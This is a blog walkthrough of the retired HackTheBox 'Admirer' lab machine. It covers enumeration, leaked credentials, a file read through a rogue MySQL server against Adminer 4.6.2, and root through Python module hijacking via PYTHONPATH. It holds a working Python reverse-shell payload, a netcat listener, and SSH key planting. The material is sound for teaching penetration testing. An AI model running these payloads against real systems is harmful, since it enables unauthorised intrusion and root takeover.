HackTheBox - Admirer

— Written by — 12 min read
admirer-hackthebox

Admirer just retired on Hackthebox, it’s an easy difficulty Linux machine with a user difficulty rating of 5.2/10. While rated easy I wouldn’t recommended it for beginners since it’s easy to miss important information and get stuck at soon as foothold. While doing the box I found it a bit frustrating to gather all the pieces of the puzzle together properly. But once done and looking back the box feel very well designed and quite straightforward even though the few rabbits holes.

Tl;Dr: To get the user flag you had to find an instance of Adminer Database, and, after a lot of enumeration to find credentials to get into an FTP server and grab a backup of the web app. Then you connect to AdminerDB using your own MySQL server and from there you can exploit a vulnerability allowing to read local files using SQL. This way you retrieve waldo user MySQL credentials, and those credentials are working on SSH allowing us to retrieve the flag.
The root flag is accessible after overwriting the python library shutils using PYTHONPATH environnement variable to make privilege escalation from a python script running as root.

Alright! Let’s get into the details now!


First thing first, let’s add the box IP to the hosts file:

1
[hg8@archbook ~]$ echo "10.10.10.187 admirer.htb" >> /etc/hosts

and let’s start!

User Flag

Recon

Let’s start with the classic nmap scan to see which ports are open on the box:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
[hg8@archbook ~]$ nmap -sV -sT -sC admirer.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-08 21:36 CEST
Nmap scan report for admirer.htb (10.10.10.187)
Host is up (0.092s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
80/tcp open http Apache httpd 2.4.25 ((Debian))
| http-robots.txt: 1 disallowed entry
|_/admin-dir
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Admirer
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

We have a classical web app running on port 80, the FTP port 21 and the SSH port 22 open.

Opening http://admirer.htb display a following page:

admirer homepage

We don’t have a lot of informations on the homepage, however nmap returned a interesting entry from robots.txt:

1
2
3
80/tcp open  http    Apache httpd 2.4.25 ((Debian))
| http-robots.txt: 1 disallowed entry
|_/admin-dir

Heading to http://admirer.htb/admin-dir return a 403 Forbidden so let’s try to use gobuster with common file extension to find interesting files:

1
2
3
4
5
6
7
[hg8@archbook ~]$ gobuster dir -u "http://admirer.htb/admin-dir/" -w ~/SecLists/Discovery/Web-Content/big.txt -x php,txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
/contacts.txt (Status: 200)
/credentials.txt (Status: 200)

We get two interesting text files.

Credentials.txt

credentials.txt looks particularly promising. Let’s see what we have inside:

1
2
3
4
5
6
7
8
9
10
11
12
[hg8@archbook ~]$ curl http://admirer.htb/admin-dir/credentials.txt
[Internal mail account]
[email protected]
fgJr6q#S\W:$P

[FTP account]
ftpuser
%n?4Wz}R$tTF7

[Wordpress account]
admin
w0rdpr3ss01!

Well that’s surprisingly a lot of credentials… Let’s start with the beginning, we have seen FTP server open on nmap, let’s try to login using the credentials we just found: ftpuser:%n?4Wz}R$tTF7:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
[hg8@archbook ~]$ ftp admirer.htb
Connected to admirer.htb.
220 (vsFTPd 3.0.3)
Name (admirer.htb:hg8): ftpuser
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r-- 1 0 0 3405 Dec 02 21:24 dump.sql
-rw-r--r-- 1 0 0 5270987 Dec 03 21:20 html.tar.gz

The FTP server looks looks like a backup folder, since we can see it contains a SQL database dump (dump.sql) and an archive of what seems to be the website source code (in html.tar.gz).

Let’s download both files to investigate:

1
2
3
ftp> get dump.sql
ftp> get html.tar.gz
ftp> quit

Admirer app backup

The dump.sql doesn’t contains any useful informations so let’s directly skip to the html.tar.gz archive:

1
2
3
4
5
6
7
8
9
[hg8@archbook ~]$ tar -xf html.tar.gz
[hg8@archbook ~]$ ls -l
total 7188
drwxr-x--- 6 hg8 hg8 4096 Jun 6 2019 assets
drwxr-x--- 4 hg8 hg8 4096 Dec 2 21:29 images
-rw-r----- 1 hg8 hg8 4613 Dec 3 21:20 index.php
-rw-r----- 1 hg8 hg8 134 Dec 1 22:31 robots.txt
drwxr-x--- 2 hg8 hg8 4096 May 9 13:41 utility-scripts
drwxr-x--- 2 hg8 hg8 4096 Dec 2 18:25 w4ld0s_s3cr3t_d1r

w4ld0s_s3cr3t_d1r seems to be the previous name of the /admin-dir we found earlier. The robots.txt file extracted from the archive confirms the theory:

1
2
3
4
5
[hg8@archbook ~]$ cat robots.txt
User-agent: *

# This folder contains personal stuff, so no one (not even robots!) should see it - waldo
Disallow: /w4ld0s_s3cr3t_d1r

Another folder catch the attention: utility-scripts.

1
2
3
4
5
6
[hg8@archbook ~]$ ls -l utility-scripts/
total 16
-rw-r----- 1 hg8 hg8 1795 Dec 2 18:48 admin_tasks.php
-rw-r----- 1 hg8 hg8 401 Dec 1 23:28 db_admin.php
-rw-r----- 1 hg8 hg8 20 Nov 29 20:32 info.php
-rw-r----- 1 hg8 hg8 53 Dec 2 18:40 phptest.php

db_admin.php contains database credentials, let’s note them for later:

1
2
3
4
5
6
7
// utility-scripts/db_admin.php
<?php
$servername = "localhost";
$username = "waldo";
$password = "Wh3r3_1s_w4ld0?";
[...]
?>

Something odd is that the main index.php found in the archive contains different database credentials (which should throw error since the password contains unescaped password):

1
2
3
4
5
6
7
// index.php
<?php
$servername = "localhost";
$username = "waldo";
$password = "]F7jLHw:*G>UPrTo}~A"d6b";
$dbname = "admirerdb";
[...]

Out of curiosity I tried both of these password on waldo ssh account but none worked.

Let’s go back to our utility-scripts folder. admin_tasks.php contains an interesting app:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
// Web Interface to the admin_tasks script
//
if (isset($_REQUEST['task']))
{
$task = $_REQUEST['task'];
if ($task == '1' || $task == '2' || $task == '3' || $task == '4' || $task == '5' || $task == '6' || $task == '7')
{
/***********************************************************************************
Available options:
1) View system uptime
2) View logged in users
3) View crontab (current user only)
4) Backup passwd file (not working)
5) Backup shadow file (not working)
6) Backup web data (not working)
7) Backup database (not working)

NOTE: Options 4-7 are currently NOT working because they need root privileges.
I'm leaving them in the valid tasks in case I figure out a way
to securely run code as root from a PHP page.
************************************************************************************/
echo str_replace("\n", "<br />", shell_exec("/opt/scripts/admin_tasks.sh $task 2>&1"));
}
else
{
echo ("Invalid task.");
}
}
?>

If we could bypass this if condition we could achieve remote code execution… Unfortunately even if using weak comparaison (==) I couldn’t find a Type Juggling kind of exploit nor find any other way to bypass the check and achieve remote code execution from there.

Well since we don’t have other entry point so far let’s enumerate a bit more. We know that this archive is old since some folder were renamed and some files are not available anymore on the web server. Maybe new files have been added ? Let’s run gobuster to the only folder we didn’t check yet: utility-scripts:

1
2
3
4
5
6
7
8
[hg8@archbook ~]$ gobuster dir -u "http://admirer.htb/utility-scripts" -w ~/SecLists/Discovery/Web-Content/big.txt -x php
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
/adminer.php (Status: 200)
/info.php (Status: 200)
/phptest.php (Status: 200)

We got a new one in reference to the box name: adminer.php

Adminer Database management tool.

Adminer (formerly phpMinAdmin) is a full-featured database management tool written in PHP. Conversely to phpMyAdmin, it consist of a single file ready to deploy to the target server. Adminer is available for MySQL, MariaDB, PostgreSQL, SQLite, MS SQL, Oracle, Firebird, SimpleDB, Elasticsearch and MongoDB.

https://www.adminer.org/

Sounds good we have access to a database management tool. Unfortunately none of the credentials we founds seems to work:

admirer adminer homepage

Yet we notice something useful on the page, the version used is 4.6.2 while the latest version is 4.7.7. Searching about this version on Google returns an interesting result:

Adminer 4.6.2 File Disclosure Vulnerability

Adminer is a popular PHP tool to administer MySQL and PostgreSQL databases. However, it can be lured to disclose arbitrary files. Attackers can abuse that to fetch passwords for popular apps such as Magento and Wordpress, and gain control of a site’s database.

Exploitation happens in three stages. First, the attacker needs a modified MySQL server, which is altered to send out data import requests to any client that connects.

Second, the attacker can instruct the victim Adminer to connect to his rigged MySQL server (external connections are actually a feature of Adminer).

Third – With access to the database the attacker could read sensitive information, such as customer details.

https://sansec.io/research/adminer-4.6.2-file-disclosure-vulnerability

Sounds like a very interesting vulnerability, which actually goes back up to 2018 in a little different scenario.

Let’s give it a try.

MySQL Local file read -> waldo

Following the vulnerability writeup we need to first set our own MySQL instance. We have to make sure it allows external connections with something like:

1
GRANT ALL PRIVILEGES ON *.* TO 'hg8'@'10.10.10.187' IDENTIFIED BY '<password>' WITH GRANT OPTION;

Then create a table that will hold our extracted data:

1
2
3
CREATE TABLE `test` (
`txt` varchar(800) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;

Once our MySQL is all set and running let’s connect to it using http://admirer.htb/utility-scripts/adminer.php:

admirer adminer MySQL connect

Alright we are in and we can execute SQL queries. Let’s see if we can abuse the SQL query LOAD DATA LOCAL INFILE to retrieve servers data. Let’s start with the classical /etc/passwd:

1
2
3
LOAD DATA LOCAL INFILE '/etc/passwd' 
INTO TABLE test.test
FIELDS TERMINATED BY "\n"

Unfortunately we get blocked by PHP restrictions:

Error in query (2000): open_basedir restriction in effect. Unable to open file

Then maybe we can try on files in the webroot directory ? Let’s check for the index.php since we know the file contains credentials, maybe we could find up-to-date passwords:

admirer adminer local file disclosure

123 rows affected, that looks good! We should now find the file content in the test table:

admirer adminer local file disclosure

Bingo! We got new credentials, let’s try them on waldo SSH account:

1
2
3
4
5
6
7
8
9
[hg8@archbook ~]$ ssh [email protected]
[email protected]'s password:
Linux admirer 4.9.0-12-amd64 x86_64 GNU/Linux

Last login: Sat May 9 14:13:42 2020 from 10.10.10.10
waldo@admirer:~$ ls
user.txt
waldo@admirer:~$ cat user.txt
dxxxxxxxxxxxxxxxxxxxx6

Root Flag

Recon

During the usual recon, an interesting sudo config catch the eye:

1
2
3
4
5
6
waldo@admirer:~$ sudo -l
[sudo] password for waldo:
Matching Defaults entries for waldo on admirer:
User waldo may run the following commands on admirer:
(ALL) SETENV: /opt/scripts/admin_tasks.sh
waldo@admirer:~$

Looks like an homemade administration script. If we can find a vulnerability there it’s our way to root.

Let’s take a look at this script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
waldo@admirer:~$ cat /opt/scripts/admin_tasks.sh
#!/bin/bash

view_uptime()
{
/usr/bin/uptime -p
}

view_users()
{
/usr/bin/w
}

view_crontab()
{
/usr/bin/crontab -l
}

backup_passwd()
{
if [ "$EUID" -eq 0 ]
then
echo "Backing up /etc/passwd to /var/backups/passwd.bak..."
/bin/cp /etc/passwd /var/backups/passwd.bak
/bin/chown root:root /var/backups/passwd.bak
/bin/chmod 600 /var/backups/passwd.bak
echo "Done."
else
echo "Insufficient privileges to perform the selected operation."
fi
}

backup_shadow()
{
if [ "$EUID" -eq 0 ]
then
echo "Backing up /etc/shadow to /var/backups/shadow.bak..."
/bin/cp /etc/shadow /var/backups/shadow.bak
/bin/chown root:shadow /var/backups/shadow.bak
/bin/chmod 600 /var/backups/shadow.bak
echo "Done."
else
echo "Insufficient privileges to perform the selected operation."
fi
}

backup_web()
{
if [ "$EUID" -eq 0 ]
then
echo "Running backup script in the background, it might take a while..."
/opt/scripts/backup.py &
else
echo "Insufficient privileges to perform the selected operation."
fi
}

backup_db()
{
if [ "$EUID" -eq 0 ]
then
echo "Running mysqldump in the background, it may take a while..."
#/usr/bin/mysqldump -u root admirerdb > /srv/ftp/dump.sql &
/usr/bin/mysqldump -u root admirerdb > /var/backups/dump.sql &
else
echo "Insufficient privileges to perform the selected operation."
fi
}
[...]

If you noticed, the sudo configuration informs us that environnement variable we set are kept when running sudo /opt/scripts/admin_tasks.sh, thanks to SETENV. At first when seeing this I was thinking we could modify our path to make the script run one of our script named uptime for example (like we did a few time in the past, on Writeup box for example).

Unfortunately the script author got careful about this and used only absolute path making it impossible for us to use this trick to elevate our privileges.

Digging a bit more we notice a call to a backup.py script. Let’s take a look:

1
2
3
4
5
6
7
8
9
10
11
12
#!/usr/bin/python3

from shutil import make_archive

src = '/var/www/html/'

# old ftp directory, not used anymore
#dst = '/srv/ftp/html'

dst = '/var/backups/html'

make_archive(dst, 'gztar', src)

That’s interesting, what if we keep our idea of PATH hijaking and apply it to Python library shutil?

As far as I know when importing a library (from shutil import make_archive), Python looks in a defined folder to find the library files. Maybe it’s possible to ask Python to search for libraries in a folder we control and inject a rogue library ? Since backup.py is run as root we could achieve privilege escalation.

Hijacking Python shutil module

Looking through the Python Documentation we quickly find what we are looking for:

PYTHONPATH is an environment variable which you can set to add additional directories where python will look for modules and packages. For most installations, you should not set these variables since they are not needed for Python to run. Python knows where to find its standard library.

The only reason to set PYTHONPATH is to maintain directories of custom Python libraries that you do not want to install in the global default location (i.e., the site-packages directory).

https://docs.python.org/3/using/cmdline.html#envvar-PYTHONPATH

To put that in practice, first let’s write a very simple python script as shutil make_archive function to open a reverse shell:

1
2
3
4
5
6
7
8
9
10
11
import socket
import subprocess
import os

def make_archive(arg1, arg2, arg3):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.10.10.10", 8585))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
p = subprocess.call(["/bin/sh", "-i"])

Let’s save it to a folder we control with shutil.py as name. I will use /tmp/.hg8/shutil.py.

Now we open our listener:

1
2
[hg8@archbook ~]$ nc -l -vv -p 8585
Listening on any address 8585

And finally we run the backup script as root while setting the PYTHONPATH environnement variable to point to our rogue library in /tmp/.hg8/ first, then to the real lib directory to make sure the library used by our reverse shell can work properly:

1
2
waldo@admirer:~$ sudo PYTHONPATH=/tmp/.hg8:/usr/lib/python3.5/ /opt/scripts/admin_tasks.sh 6
waldo@admirer:~$

And we get a new connection on our listener:

1
2
3
4
5
[hg8@archbook ~]$ nc -l -vv -p 8585
Listening on any address 8585
Connection from 10.10.10.187:44040
id
uid=0(root) gid=0(root) groups=0(root)

Let’s add our SSH key to ~/.ssh/authorized_keys in order to get a proper shell:

1
2
mkdir /root/.ssh
echo "ssh-rsa AAAxxxx [email protected]" >> ~/.ssh/authorized_keys

And grab our flag:

1
2
3
4
5
6
[hg8@archbook ~]$ ssh -i id_rsa_htb [email protected]
Linux admirer 4.9.0-12-amd64 x86_64 GNU/Linux

Last login: Wed Apr 29 11:07:00 2020
root@admirer:~# cat root.txt
bxxxxxxxxxxxxxxxxxxx0

That’s it folks! As always do not hesitate to contact me for any questions or feedbacks!

See you next time ;)

-hg8



CTFHackTheBoxEasy Box
, , , , , ,